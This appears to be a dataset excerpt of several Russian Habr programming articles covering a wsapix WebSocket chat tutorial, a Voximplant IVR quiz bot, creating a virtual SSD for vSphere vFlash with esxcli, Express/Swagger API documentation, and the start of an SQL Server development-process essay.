---
Краткое описание технологии
---------------------------
[Websocket](https://ru.wikipedia.org/wiki/WebSocket) — это протокол связи поверх TCP-соединения, предназначенный для обмена сообщениями между браузером и веб-сервером через постоянное соединение. Данные передаются по нему в обоих направлениях в виде «пакетов», без разрыва соединения и дополнительных HTTP-запросов.
WebSocket особенно хорош для сервисов, которые нуждаются в постоянном обмене данными, например онлайн игры, торговые площадки, работающие в реальном времени, и т.д.
Как использовать технологию в Nodejs
------------------------------------
В Nodejs есть ряд библиотек, которые позволяют построить клиент-серверное взаимодействие по протоколу Websocket поверх нативной имплементации HTTP в Nodejs. Например нативная библиотека [ws](https://www.npmjs.com/package/ws) или очень популярная библиотека [socket.io](https://socket.io). Статью с более подробной информации про эти библиотеки можно найти на [хабре](https://habr.com/ru/post/498996/).
Помимо нативной имплементации http/ws на Nodejs есть библиотека [**uWebsockets.js**](https://github.com/uNetworking/uWebSockets.js/), которая написана на C++ и позволяет создать http/websocket сервер для Nodejs, превосходящий по производительности в несколько раз нативную библиотеку и на порядок socket.io.
Сравнение производительности имплементаций Websocket для Nodejs 12.18
Эта библиотека стремительно набирает популярность, уже сейчас ее скачивают более 1м раз в месяц. Однако в настоящий момент существующие фреймворки не поддерживают uWebsockets.js.
Спецификация для описания Websocket API
---------------------------------------
Известная всем OpenAPI-спецификация, используемая для стандартизированного описание REST API, к сожалению, не подходит для описания websocket API, однако [AsyncApi](https://asyncapi.io/) подходит прекрасно. Также как и OpenAPI спецификация не завязана на какой-то язык программирования, она удобна для использования как человеком, так и компьютерной программой, может быть двух форматов: JSON и YAML:
Данная спецификация также отлично подходит для описания API "event-driven" архитектуры через брокеры, такие как [**RabbitMQ**](https://rabbitmq.com/), [**Apache Kafka**](http://kafka.apache.org/), [**Solace**](http://solace.com/) и т.д.
Библиотеки, позволяющие генерировать OpenAPI спецификации из кода, уже реализованы почти на всех языках программирования. Для Nodejs такой подход реализован из коробки в [Fastify](https://www.fastify.io/) и [Nest.js](https://nestjs.com/). Данный подход помогает решить сразу несколько задач:
* Документация на основе спецификации, сгенерированной из кода, будет 100% соответствовать API
* Спецификацию можно использовать для тестирования запросов/ответов через postman или другие подобные сервисы
На Nodejs возможность использовать аналогичный подход для генерации AsyncAPI спецификации из код websocket сервиса мне не удалось найти, поэтому пришлось начать проект [wsapix](https://github.com/udamir/wsapix).
---
Пример Websocket сервера с использованием wsapix
------------------------------------------------
В качестве примера напишем простой чат, в котором создадим websocket сервер на основе uWebsockets.js и подключим Ajv для валидации входящих/исходящих сообщений. Сервер и клиент будут обмениваться следующими сообщениями:
От сервера клиенту:
* пользовать вошел в чат
* пользователь вышел из чата
* пользователь отправил текстовое сообщение
От клиента серверу:
* пользователь отправил текстовое сообщение
**Для начала нам нужно установить библиотеки:**
* uWebsockets.js - http/ws сервер
* wsapix - фреймворк для создания websocket API
* ajv - библиотека для валидации сообщений
* typebox - для описания Json схемы
```
npm i @sinclair/typebox wsapix ajv
npm i github:uNetworking/uWebSockets.js#v19.3.0
```
**Подключим библиотеки, создадим uWebsocket сервер на порту 3000:**
```
import { App } from "uWebSockets.js"
import { Wsapix } from "wsapix"
import { Type } from "@sinclair/typebox"
import Ajv from "ajv"
const port = Number(process.env.PORT || 3000)
const server = App()
server.listen(port, () => {
console.log(`Server listen port ${port}`)
})
```
**Создадим wsapix сервер и подключим валидацию входящих/исходящих сообщений:**
```
const ajv = new Ajv({ strict: false })
const validator = (schema, data, error) => {
const valid = ajv.validate(schema, data)
if (!valid) {
error(ajv.errors!.map(({ message }) => message).join(",\n"))
}
return valid
}
const wsx = Wsapix.uWS({ server }, { validator })
```
**Добавим простейшую проверку подключений** - на этом шаге может быть реализована полноценная аунтификация подключенного пользователя, но для простоты будем передавать имя пользователя через параметр запроса:
```
wsx.use((client) => {
if (!client.query) {
// если имя не указано, прерываем подключение
return client.terminate(4000)
}
// сохраняем имя и генерируем id
client.state = { id: Date.now().toString(36), name: client.query }
})
```
**Опишем схему и добавим контроллер для сообщений от клиентов:**
```
const userMessageSchema = {
$id: "user:message",
description: "New user message",
payload: Type.Strict(Type.Object({
type: Type.String({ const: "user:message", description: "Message type" }),
text: Type.String({ description: "Message text" })
}, { $id: "user:message" }))
}
wsx.clientMessage({ type: "user:message" }, userMessageSchema, (client, data) => {
wsx.clients.forEach((c) => {
if (c === client) { return }
c.send({
type: "chat:message",
userId: client.state.userId,
text: data.text
})
})
})
```
**Опишем схему для сообщений от сервера**, которая будет использоваться для валидации исходящих сообщений, а также для генерации документации:
```
// New chat message schema
const chatMessageSchema = {
$id: "chat:message",
description: "New message in chat",
payload: Type.Strict(Type.Object({
type: Type.String({ const: "chat:message", description: "Message type" }),
userId: Type.String({ description: "User Id" }),
text: Type.String({ description: "Message text" })
}, { $id: "chat:message" }))
}
wsx.serverMessage({ type: "chat:message" }, chatMessageSchema)
// User connect message schema
const userConnectedSchema = {
$id: "user:connected",
description: "User online status update",
payload: Type.Strict(Type.Object({
type: Type.String({ const: "user:connected", description: "Message type" }),
userId: Type.String({ description: "User id" }),
name: Type.String({ description: "User name" }),
}, { $id: "user:connected" }))
}
wsx.serverMessage({ type: "user:connected" }, userConnectedSchema)
// User disconnect message schema
const userDisconnectedSchema = {
$id: "user:disconnected",
description: "User online status update",
payload: Type.Strict(Type.Object({
type: Type.String({ const: "user:disconnected", description: "Message type" }),
userId: Type.String({ description: "User Id" }),
name: Type.String({ description: "User name" }),
}, { $id: "user:disconnected" }))
}
wsx.serverMessage({ type: "user:disconnected" }, userDisconnectedSchema)
```
**Добавим обработчики событий** подключения и разъединения клиентов:
```
// Handle connect event
wsx.on("connect", (client) => {
wsx.clients.forEach((c) => {
if (c === client) { return }
c.send({ type: "user:connected", ...client.state })
client.send({ type: "user:connected", ...c.state })
})
})
// Handle disconnect event
wsx.on("disconnect", (client) => {
wsx.clients.forEach((c) => {
if (c === client) { return }
c.send({ type: "user:disconnected", ...client.state })
})
})
```
**Добавим генерацию документации** для Webscoket API из кода на главную страницу:
```
server.get("/", (res) => {
res.writeHeader('Content-Type', 'text/html')
res.end(wsx.htmlDocTemplate("/wsapix"))
})
server.get("/wsapix", (res) => {
res.writeHeader('Content-Type', 'application/json')
res.end(wsx.asyncapi({
info: {
version: "1.0.0",
title: "Chat websocket API"
}
}))
})
```
**Проверяем полученный результат (**[**http://localhost:3000/**](http://localhost:3000/)**):**
**Пробуем подключиться и отравить сообщение:**
Исходник данного примера доступен по [ссылке](https://github.com/udamir/wsapix/tree/master/packages/examples)
P.S. Если для вас не критична производительность или вы не хотите переходить с нативной библиотеки на uWebsockets.js, то можно создать сервер на базе нативной библиотеки http/ws:
```
import * as http from "http"
import express from "express"
import { Wsapix } from "wsapix"
const port = Number(process.env.PORT || 3000)
const app = express()
const server = new http.Server(app)
const wsx = Wsapix.WS({ server })
server.listen(port, () => {
console.log(`Server listen port ${port}`)
})
``` | https://habr.com/ru/post/575122/ | null | ru | null |
# Павел 2.0: консультант-рептилоид на JS, node.js с сокетами и телефонией
Вот и отгремел наш INTERCOM’18, c преферансом и бизнес-кейсами. Как обычно, вход на коференцию был платным: желающие могли купить билеты на TimePad по полной цене, либо… получить скидку у консультанта-рептилоида [прямо на сайте](https://intercomconf.com/). В прошлом году это работало как привычный коллбэк: вы оставляете телефон в специальной форме, Павел звонит вам через минуту и задает вопросы; чем больше правильных ответов, тем выше скидка. В этот раз мы решили поменять механику, сделав ее сложнее как технически, так и в плане вопросов. Под катом – кишки Павлика 2.0, с текущей нодой и веб-сокетами, не забудьте надеть спецодежду перед вскрытием.
### Механика конкурса
Вы заходите на сайт [intercomconf.com](https://intercomconf.com) с декстопного браузера, в правом нижнем углу «просыпается» Павлик в виде чата и предлагает сыграть в игру. Вводите номер, нажимаете «Вот мой номер» – после этого Павел поднимает сессию между вашим браузером и нашим бэкендом.
Если всё успешно поднялось и ваш номер еще не участвовал в розыгрыше, то Павел предложит позвонить на номер 8-800. Тут уже вступает облако Voximplant и начинается викторина:
*Ответ: дедлайн/deadline. За основу взят мем [This is fine](https://knowyourmeme.com/memes/this-is-fine).*
Да, ребусы были примерно вот такими. На каждый вопрос давалось три попытки: сначала шла «сложная» картинка, потом проще и в конце – самая простая. Первые попытки давали больше всего очков; после 5 ребусов Павел подсчитывал баллы и либо давал бесплатный билет, либо скидку 10%-30%.
При этом наш рептилоид достаточно умён: выдавал сообщения об ошибках (если неправильно ввести номер телефона, например), определял, что номер уже участвовал в розыгрыше («Знакомый номер я вижу на экране моего несуществующего мобильного. Одна попытка в одни руки — таковы правила.») и, самое главное, соотносил браузер и облако. Как же работал этот дерзкий IVR?
### В пасти ~~безумия~~ рептилоида
*Ответ: колл-центр. Nuff said.*
Говоря сухо, Павел 2.0 – это IVR, выполняемый в нашем облаке. Следовательно, вся логика рептилоида должна быть прописана в JS-сценарии, верно? Да, но нет.
Вторая версия Павла синхронизируется с браузером клиента: на сайте Павел показывает ребусы, а по телефону слышит ваши ответы, в зависимости от которых сменяются картинки и выводится результат. С первого взгляда, такое взаимодействие можно было реализовать с помощью нашего [HTTP API](https://voximplant.com/docs/references/httpapi):
* сначала браузер запускал бы сценарий с помощью метода [StartScenarios](https://voximplant.com/docs/references/httpapi/managing_scenarios#startscenarios). В ответе метод отдает параметры **media\_session\_access\_url** и **media\_session\_access\_secure\_url** в которых лежат URL’ы для HTTP и HTTPS соответственно;
* с запущенным сценарием можно было бы общаться с помощью полученных URL’ов;
* сценарий бы говорил браузеру, какие картинки использовать и обновлял бы сумму баллов с помощью метода [httpRequestAsync](https://voximplant.com/docs/references/voxengine/net/httprequestasync).
Но как «поймать» пользовательский браузер? Ведь в [httpRequestAsync](https://voximplant.com/docs/references/voxengine/net/httprequestasync) надо передавать однозначный URL. И да, картинки – их же надо где-то хранить.
Поэтому кроме облачного JS-сценария мы использовали свой бэкенд на [express.js](https://expressjs.com/) в паре с [socket.io](https://socket.io/): когда посетитель вводил номер, браузер отдавал этот номер бэкенду по http, после чего http-сессия превращалась в сессию на веб-сокетах. В итоге сценарий постоянно общался с бэкендом по http, а уже бэкенд использовал веб-сокеты, чтобы быстро прокидывать в браузер картинки и подсчитанные баллы.
**В части веб-сокетов бэкенд выглядел так:**
Но все-таки, бОльшая часть логики хранилась в сценарии. Рассмотрим рептилоида с этой стороны…
### Идем по сценарию
*Ответ: machine learning / машинное обучение. Взято из Инстаграма [самого Арни](https://www.instagram.com/p/BmQ0esElywb).*
Из очевидного: обязательно нужно подключить модуль распознавания [ASR](https://voximplant.com/docs/references/voxengine/asr).
```
require(Modules.ASR);
```
Из интересного:
* в сценарии был объект **questions** со всеми ответами и именами файлов **.jpg**;
при каждом запуске сценария questions перемешивались с помощью функции-хелпера **shuffle**:
**показать код**
* «верхнеуровневый» хендлер для входящего звонка ([CallAlerting](https://voximplant.com/docs/references/voxengine/appevents#callalerting)) проверяет телефон на уникальность, а также содержит хендлеры для соединения и окончания звонка. Как раз внутри **onCallConnected** происходит обращение к бэкенду (читай, к socketio):
**показать код**
* чуть выше видно **startGame**, в ней как раз вопросы перемешиваются, нарезаются и отправляются на бэкенд вместе с индексами картинок:
**показать код**
* **startASR** создает [экземпляр ASR](https://voximplant.com/docs/references/voxengine/voxengine/createasr) и указывает предпочтительный словарь распознавания. Когда игрок проговаривает ответ, функция [останавливает ASR](https://voximplant.com/docs/references/voxengine/asr/asr#stop) и запускает обработку услышанного – **onRecognitionResult**;
* **onRecognitionResult** убирает лишнее из ответа:
```
let rr = e[0].replace("это ", "").replace("вероятно ", "").replace("может быть ", "").replace("может это ", "");
rr = rr.replace(/ /g, '');
```
А потом начинает подсчет попыток, баллов, а также озвучивает комментарии по ходу дела:
**показать код**
Также функция инкрементирует переменные с попытками и номером вопроса, чтобы переключиться на следующий вопрос либо завершить игру;
* итоговая функция **gameFinished** отдает бэкенду сумму баллов, если человек выиграл промокод – это видно в браузере и слышно по телефону, т.к. Павлик озвучивает выигрыш; после этого делается [hangup](https://voximplant.com/docs/references/voxengine/call#hangup).
Общий листинг сценария приближается к 300 строкам, самый объемный кусок – это обработка результата распознавания, **onRecognitionResult**.
### Говорящее ископаемое
*Ответ: Firefox. У нас всё.*
Хоть Павел и динозавр, но таки идет в ногу со временем: развивается год от года и все так же любит пошутить. Надеемся, вы оценили вторую версию нашего рептилоида и «вживую», и с точки зрения реализации. Делитесь мнениями в комментах, будьте здоровы и помните – Павел любит вас! | https://habr.com/ru/post/426417/ | null | ru | null |
# Создание виртуального SSD для vSphere 5.5
Использование виртуального твердотельного накопителя поможет Вам сэкономить и время и деньги. [VMware vSphere 5.5](https://www.vmware.com/support/vsphere5/doc/vsphere-esx-vcenter-server-55-release-notes.html) новейшая редакция передовой платформы виртуализации, это аппаратный гипервизор, устанавливается непосредственно на физический сервер и делит его на несколько виртуальных машин, которые могут работать одновременно, используя одни и те же физические ресурсы. Дисковое пространство необходимое для установки снижено до 150 MB платформы vSphere, за счет отсутствия базовой операционной системы. Управление такой платформой может производиться удаленно.
Одним из апгрейдов компании VMware vSphere 5.5 является [Flash Read Cache](http://www.vmware.com/files/pdf/vSphere_55_Flash_Read_Cache_Whats_New_WP.pdf) или как его еще называют vFlash. Это фреймворк, с его помощью возможно объединить SSD-ресурсы хост-серверов VMware ESXi в единый пул, который используется для кэширования, что позволит сторонним вендорам SSD накопителей и кэш-устройств использовать свои алгоритмы для создания модулей обработки кэшей виртуальных машин, которые интенсивно используют подсистему ввода-вывода для операций чтения. Это повышает скорость их быстродействия.
vFlash обеспечивает высокую производительность кэша чтения, что значительно ускоряет работу приложений, надежное и экономичное хранилище для сред vSphere. Что бы ускорить работу приложений, запущенных на нескольких виртуальных машинах можно использовать vFlash. Это возможно сделать, не имея физического SSD, заменив его на виртуальный SSD, с помощью трюка с vSphere применив виртуальный SSD вместо физического.
Процесс создания виртуального SSD прост. Хотя это всего лишь временная замена физического SSD. Виртуальные SSD позволяют сэкономить деньги на оборудовании, почти никак не влияя на производительность. Вот шаги для создания виртуального SSD:
* создайте физический локальный виртуальный диск на хост ESXi, который вы хотите сделать vFlash, убедитесь, что размер локального виртуального SSD не превышает размера физического хоста ESXi;
* укажите путь для ESXi хоста локального виртуального диска (e.g., mpx.vmhba1:C0:T0:L0);
* откройте Secure Shell (SSH) сессию для каждого ESXi хоста;
* преобразование физического локального виртуального диска на локальный виртуальный SSD, используя следующие esxcli командные строки для изменения.
Storage Array Type Plugin (SATP) позволит Вашему хранилищу vСentre I/O сбалансировать нагрузку должным образом при использовании нового виртуального диска. Во всех средах VMware vSphere балансировка нагрузки осуществляется с помощью реализованного на платформе vSphere планировщика Distributed Resource Scheduler (DRS). DRS объединяет хосты ESX и ESXi, чтобы осуществлять на них оптимальное распределение нагрузки от запущенных виртуальных машин (VM).
Вот код который создает правила SATP и активирует строку SSD:
```
~ # esxcli storage nmp satp rule add -s VMW_SATP_LOCAL -d mpx.vmhba1:C0:T0:L0 -o enable_ssd
```
Следующий шаг, проверить правильность создание правил SATP:
```
~ # esxcli storage nmp satp rule list | grep enable_ssd
```
Вывод:
```
VMW_SATP_LOCAL mpx.vmhba1:C0:T0:L0
enable_ssd user
```
Далее идет рекламация новой виртуальной SSD, что бы способствовать применению правил SATP:
```
~ # esxcli storage core claiming reclaim -d mpx.vmhba1:C0:T0:L0
```
Наконец, убедитесь, что новый виртуальный SSD был создан:
```
~ # esxcli storage core device list -d mpx.vmhba1:C0:T0:L0
```
Вывод:
```
mpx.vmhba1:C0:T2:L0
Display Name: Original VM Disk (mpx.vmhba1:C0:T0:L0)
Has Settable Display Name: false
Size: 5120
Device Type: Direct-Access
Multipath Plugin: NMP
Devfs Path: /vmfs/devices/disks/mpx.vmhba1:C0:T0:L0
Vendor: VMware
Model: Virtual disk
Revision: 1.0
SCSI Level: 2
Is Pseudo: false
Status: on
Is RDM Capable: false
Is Local: true
Is Removable: false
Is SSD: true
Is Offline: false
Is Perennially Reserved: false
Thin Provisioning Status: unknown
Attached Filters:
VAAI Status: unsupported
Other UIDs: vml.0000000000577d274761343a323a47
```
Если Ваш Is SSD введен верно, локальный диск теперь можно считать виртуальным. Вы можете использовать графический интерфейс пользователя или следующую команду, что бы обновить vSphere хранилище:
```
~ #vim-cmd hostsvc/storage/refresh
```
Теперь, когда ваша виртуальная SSD создана и проверена, Вы можете добавить его на Ваш ESXi host(s) и начать пользоваться vFlash. Его легко настроить — просто настроив его на vCenter Web client.
#### Настройка vFlash:
* в vSphere Web Client, перейдите к узлу;
* после этого перейдите на вкладку «Manage» и выберите «Settings»;
* в разделе vFlash, выберите «Virtual Flash Resource Management», затем нажмите «Add Capacity»;
* из списка доступных SSD устройств, выберите только что созданный локальный диск виртуальной SSD, и что бы запустить его нажмите «OK».
#### Несколько советов
Теперь, когда ваш vFlash настроен и работает, вы можете начать пользоваться предоставляемыми им «благами». Не забудьте убедиться, что у Вас VM version 10, так как на другой версии ваши Виртуальные машины «не выиграют» от преимуществ vFlash. Рекомендуется настраивать vFlash под каждый ESXi Host. Благодаря появлению таких носителей можно создать надежное и экономичное хранилище для сред vSphere. Выгодное соотношение цены и производительности. | https://habr.com/ru/post/244987/ | null | ru | null |
# Node.js: документирование и визуализация API с помощью Swagger
Привет, друзья!
В этой небольшой заметке я расскажу вам о том, как генерировать и визуализировать документацию к `API` с помощью [`Swagger`](https://swagger.io/).
Мы разработаем простой [`Express-сервер`](https://expressjs.com/), способный обрабатывать стандартные [`CRUD-запросы`](https://ru.wikipedia.org/wiki/CRUD), с фиктивной базой данных, реализованной с помощью [`lowdb`](https://github.com/typicode/lowdb).
Затем мы подробно опишем наше `API`, сгенерируем `JSON-файл` с описанием и визуализируем его.
Так, например, будет выглядеть описание `POST-запроса` к нашему `API`:
[Исходный код проекта](https://github.com/harryheman/Blog-Posts/tree/master/express-swagger).
Если вам это интересно, прошу под кат.
Подготовка и настройка проекта
------------------------------
Создаем директорию, переходим в нее и инициализируем `Node.js-проект`:
```
mkdir express-swagger
cd express-swagger
yarn init -yp
# or
npm init -y
```
Устанавливаем зависимости:
```
yarn add express lowdb cross-env nodemon
# or
npm i ...
```
* [`cross-env`](https://www.npmjs.com/package/cross-env) — утилита для платформонезависимой установки значений переменных среды окружения;
* [`nodemon`](https://www.npmjs.com/package/nodemon) — утилита для запуска сервера для разработки, который автоматически перезапускается при изменении файлов, за которыми ведется наблюдение.
Структура проекта:
```
- db
- data.json - фиктивные данные
- index.js - инициализация БД
- routes
- todo.routes.js - роуты
- swagger - этой директорией мы займемся позже
- server.js - код сервера
```
Определяем тип сервера (модуль) и команды для его запуска в `package.json`:
```
"type": "module",
"scripts": {
"dev": "cross-env NODE_ENV=development nodemon server.js",
"start": "cross-env NODE_ENV=production node server.js"
}
```
Команда `dev` запускает сервер для разработки, а `start` — для продакшна.
База данных, роуты и сервер
---------------------------
Наши фиктивные данные будут выглядеть так (`db/data.json`):
```
[
{
"id": "1",
"text": "Eat",
"done": true
},
{
"id": "2",
"text": "Code",
"done": true
},
{
"id": "3",
"text": "Sleep",
"done": true
},
{
"id": "4",
"text": "Repeat",
"done": false
}
]
```
Структура данных — массив объектов. Каждый объект состоит из идентификатора (строка), текста (строка) и индикатора выполнения (логическое значение) задачи.
Инициализация БД (`db/index.js`):
```
import { join, dirname } from 'path'
import { fileURLToPath } from 'url'
import { Low, JSONFile } from 'lowdb'
// путь к текущей директории
const _dirname = dirname(fileURLToPath(import.meta.url))
// путь к файлу с фиктивными данными
const file = join(_dirname, 'data.json')
const adapter = new JSONFile(file)
const db = new Low(adapter)
export default db
```
Давайте определимся с архитектурой `API`.
Реализуем следующие конечные точки:
* GET `/` — получение всех задач
* GET `/:id` — получение определенной задачи по ее идентификатору. Запрос должен содержать параметр — `id` существующей задачи
* POST `/` — создание новой задачи. Тело запроса (`req.body`) должно содержать объект с текстом новой задачи (`{ text: 'test' }`)
* PUT `/:id` — обновление определенной задачи по ее идентификатору. Тело запроса должно содержать объект с изменениями (`{ changes: { done: true } }`). Запрос должен содержать параметр — `id` существующей задачи
* DELETE `/:id` — удаление определенной задачи по ее идентификатору. Запрос должен содержать параметр — `id` существующей задачи
Приступаем к реализации (`routes/todo.routes.js`):
```
import { Router } from 'express'
import db from '../db/index.js'
const router = Router()
// роуты
export default router
```
*GET `/`*
```
router.get('/', async (req, res, next) => {
try {
// инициализируем БД
await db.read()
if (db.data.length) {
// отправляем данные клиенту
res.status(200).json(db.data)
} else {
// сообщаем об отсутствии задач
res.status(200).json({ message: 'There are no todos.' })
}
} catch (e) {
// фиксируем локацию возникновения ошибки
console.log('*** Get all todos')
// передаем ошибку обработчику ошибок
next(e)
}
})
```
*GET `/:id`*
```
router.get('/:id', async (req, res, next) => {
// извлекаем id из параметров запроса
const id = req.params.id
try {
await db.read()
if (!db.data.length) {
return res.status(400).json({ message: 'There are no todos' })
}
// ищем задачу с указанным id
const todo = db.data.find((t) => t.id === id)
// если не нашли
if (!todo) {
return res
.status(400)
.json({ message: 'There is no todo with provided ID' })
}
// если нашли
res.status(200).json(todo)
} catch (e) {
console.log('*** Get todo by ID')
next(e)
}
})
```
*POST `/`*
```
router.post('/', async (req, res, next) => {
// извлекаем текст из тела запроса
const text = req.body.text
if (!text) {
return res.status(400).json({ message: 'New todo text must be provided' })
}
try {
await db.read()
// создаем новую задачу
const newTodo = {
id: String(db.data.length + 1),
text,
done: false
}
// помещаем ее в массив
db.data.push(newTodo)
// фиксируем изменения
await db.write()
// возвращаем обновленный массив
res.status(201).json(db.data)
} catch (e) {
console.log('*** Create todo')
next(e)
}
})
```
*PUT `/:id`*
```
router.put('/:id', async (req, res, next) => {
// извлекаем id Из параметров запроса
const id = req.params.id
if (!id) {
return res
.status(400)
.json({ message: 'Existing todo ID must be provided' })
}
// извлекаем изменения из тела запроса
const changes = req.body.changes
if (!changes) {
return res.status(400).json({ message: 'Changes must be provided' })
}
try {
await db.read()
// ищем задачу
const todo = db.data.find((t) => t.id === id)
// если не нашли
if (!todo) {
return res
.status(400)
.json({ message: 'There is no todo with provided ID' })
}
// обновляем задачу
const updatedTodo = { ...todo, ...changes }
// обновляем массив
const newTodos = db.data.map((t) => (t.id === id ? updatedTodo : t))
// перезаписываем массив
db.data = newTodos
// фиксируем изменения
await db.write()
res.status(201).json(db.data)
} catch (e) {
console.log('*** Update todo')
next(e)
}
})
```
*DELETE `/:id`*
```
router.delete('/:id', async (req, res, next) => {
// извлекаем id из параметров запроса
const id = req.params.id
if (!id) {
return res
.status(400)
.json({ message: 'Existing todo ID must be provided' })
}
try {
await db.read()
const todo = db.data.find((t) => t.id === id)
if (!todo) {
return res
.status(400)
.json({ message: 'There is no todo with provided ID' })
}
// фильтруем массив
const newTodos = db.data.filter((t) => t.id !== id)
db.data = newTodos
await db.write()
res.status(201).json(db.data)
} catch (e) {
console.log('*** Remove todo')
next(e)
}
})
```
Сервер (`server.js`):
```
import express from 'express'
import router from './routes/todo.routes.js'
// экземпляр Express-приложения
const app = express()
// парсинг JSON, содержащегося в теле запроса
app.use(express.json())
// обработка роутов
app.use('/todos', router)
app.get('*', (req, res) => {
res.send('Only /todos endpoint is available.')
})
// обработка ошибок
app.use((err, req, res, next) => {
console.log(err)
const status = err.status || 500
const message = err.message || 'Something went wrong. Try again later'
res.status(status).json({ message })
})
// запуск сервера
app.listen(3000, () => {
console.log('🚀 Server ready')
})
```
Запускаем сервер для разработки:
```
yarn dev
# or
npm run dev
```
Адрес нашего `API` — `http://localhost:3000/todos`
Проверяем работоспособность сервера. Для этого я воспользуюсь [`Postman`](https://www.postman.com/).
*GET `/`*
*GET `/:id`*
*POST `/`*
*PUT `/:id`*
*DELETE `/:id`*
Отлично. С этой задачей мы справились. Теперь сделаем работу с `API` доступной (и поэтому легкой) для любого пользователя посредством описания конечных точек, принимаемых параметров, тел запросов и возвращаемых ответов (частично мы это уже сделали при проектировании архитектуры `API`).
Описание и визуализация `API`
-----------------------------
Для генерации документации к `API` мы будем использовать библиотеку [`swagger-autogen`](https://www.npmjs.com/package/swagger-autogen), а для визуализации — [`swagger-ui-express`](https://www.npmjs.com/package/swagger-ui-express). Устанавливаем эти пакеты:
```
yarn add swagger-autogen swagger-ui-express
# or
npm i ...
```
Приступаем к реализации генерации описания (`swagger/index.js`):
```
import { join, dirname } from 'path'
import { fileURLToPath } from 'url'
import swaggerAutogen from 'swagger-autogen'
const _dirname = dirname(fileURLToPath(import.meta.url))
// const doc = ...
// путь и название генерируемого файла
const outputFile = join(_dirname, 'output.json')
// массив путей к роутерам
const endpointsFiles = [join(_dirname, '../server.js')]
swaggerAutogen(/*options*/)(outputFile, endpointsFiles, doc).then(({ success }) => {
console.log(`Generated: ${success}`)
})
```
Документация генерируется на основе значения переменной `doc` и специальных комментариев в коде роутов.
Описываем `API` с помощью `doc`:
```
const doc = {
// общая информация
info: {
title: 'Todo API',
description: 'My todo API'
},
// что-то типа моделей
definitions: {
// модель задачи
Todo: {
id: '1',
text: 'test',
done: false
},
// модель массива задач
Todos: [
{
// ссылка на модель задачи
$ref: '#/definitions/Todo'
}
],
// модель объекта с текстом новой задачи
Text: {
text: 'test'
},
// модель объекта с изменениями существующей задачи
Changes: {
changes: {
text: 'test',
done: true
}
}
},
host: 'localhost:3000',
schemes: ['http']
}
```
Описываем роуты с помощью специальных комментариев.
*GET `/`*
```
router.get('/', async (req, res, next) => {
// описание роута
// #swagger.description = 'Get all todos'
// возвращаемый ответ
/* #swagger.responses[200] = {
// описание ответа
description: 'Array of all todos',
// схема ответа - ссылка на модель
schema: { $ref: '#/definitions/Todos' }
} */
// код роута
})
```
*GET `/:id`*
```
router.get('/:id', async (req, res, next) => {
// #swagger.description = 'Get todo by ID'
// параметр запроса
/* #swagger.parameters['id'] = {
// описание параметра
description: 'Existing todo ID',
// тип параметра
type: 'string',
// является ли параметр обязательным?
required: true
} */
/* #swagger.responses[200] = {
description: 'Todo with provided ID',
schema: { $ref: '#/definitions/Todo' }
} */
// код роута
})
```
*POST `/`*
```
router.post('/', async (req, res, next) => {
// #swagger.description = 'Create new todo'
// тело запроса
/* #swagger.parameters['text'] = {
in: 'body',
description: 'New todo text',
type: 'object',
required: true,
schema: { $ref: '#/definitions/Text' }
} */
/* #swagger.responses[201] = {
description: 'Array of new todos',
schema: { $ref: '#/definitions/Todos' }
} */
// код роута
})
```
*PUT `/:id`*
```
router.put('/:id', async (req, res, next) => {
// #swagger.description = 'Update existing todo'
/* #swagger.parameters['id'] = {
description: 'Existing todo ID',
type: 'string',
required: true
} */
/* #swagger.parameters['changes'] = {
in: 'body',
description: 'Existing todo changes',
type: 'object',
required: true,
schema: { $ref: '#/definitions/Changes' }
} */
/* #swagger.responses[201] = {
description: 'Array of new todos',
schema: { $ref: '#/definitions/Todos' }
} */
// код роута
})
```
*DELETE `/:id`*
```
router.delete('/:id', async (req, res, next) => {
// #swagger.description = 'Remove existing todo'
/* #swagger.parameters['id'] = {
description: 'Existing todo ID',
type: 'string',
required: true
} */
/* #swagger.responses[201] = {
description: 'Array of new todos or empty array',
schema: { $ref: '#/definitions/Todos' }
} */
// код роута
})
```
Это лишь небольшая часть возможностей по документированию `API`, предоставляемых `swagger-autogen`.
Добавляем в `package.json` команду для генерации документации:
```
"gen": "node ./swagger/index.js"
```
Выполняем ее:
```
yarn gen
# or
npm run gen
```
Получаем файл `swagger/output.json` примерно такого содержания:
```
{
"swagger": "2.0",
"info": {
"title": "Todo API",
"description": "My todo API",
"version": "1.0.0"
},
"host": "localhost:3000",
"basePath": "/",
"schemes": [
"http"
],
"paths": {
"/todos/": {
"get": {
"description": "Get all todos",
"parameters": [],
"responses": {
"200": {
"description": "Array of all todos",
"schema": {
"$ref": "#/definitions/Todos"
}
}
}
},
// другие роуты
}
},
"definitions": {
"Todo": {
"type": "object",
"properties": {
"id": {
"type": "string",
"example": "1"
},
"text": {
"type": "string",
"example": "test"
},
"done": {
"type": "boolean",
"example": false
}
}
},
// другие модели
}
}
```
Круто. Но как нам это нарисовать? Легко.
Возвращаемся к коду сервера:
```
import fs from 'fs'
import swaggerUi from 'swagger-ui-express'
```
Определяем путь к файлу с описанием `API`:
```
const swaggerFile = JSON.parse(fs.readFileSync('./swagger/output.json'))
```
Определяем конечную точку `/api-doc`, при доступе к которой возвращается визуальное представление нашей документации:
```
app.use('/api-doc', swaggerUi.serve, swaggerUi.setup(swaggerFile))
```
`swagger-ui-express` предоставляет широкие возможности по кастомизации визуального представления.
Результат
---------
На всякий случай перезапускаем сервер для разработки и переходим по адресу `http://localhost:3000/api-doc`.
*Общий вид*
*GET `/`*
*GET `/:id`*
*POST `/`*
*PUT `/:id`*
*DELETE `/:id`*
*Модели*
Пожалуй, это все, чем я хотел поделиться с вами в этой заметке.
Надеюсь, вам было интересно и вы не зря потратили время.
Благодарю за внимание и happy coding!
---
[](https://cloud.timeweb.com/?utm_source=habr&utm_medium=banner&utm_campaign=cloud&utm_content=direct&utm_term=low) | https://habr.com/ru/post/594081/ | null | ru | null |
# Разработка для Microsoft SQL Server (и не только): контроль версий, непрерывная интеграция и процедуры — как это делаем мы
Доброго времени суток, уважаемые Хабровчане.
В качестве краткой предыстории: год назад, придя на новое место работы в качестве руководителя отдела разработки БД (на базе Microsoft SQL Server), я испытал глубочайший шок от увиденного. Крупная компания, сложное веб-приложение, многомиллионные контракты, а разработка ведется на production-БД, баг-репорты поступают и обрабатываются по методике «кто громче крикнет» или «надо сделать прям вчера». Естественно ни о системе контроля версий, continuous integration, процедурах и workflow речи и не шло.
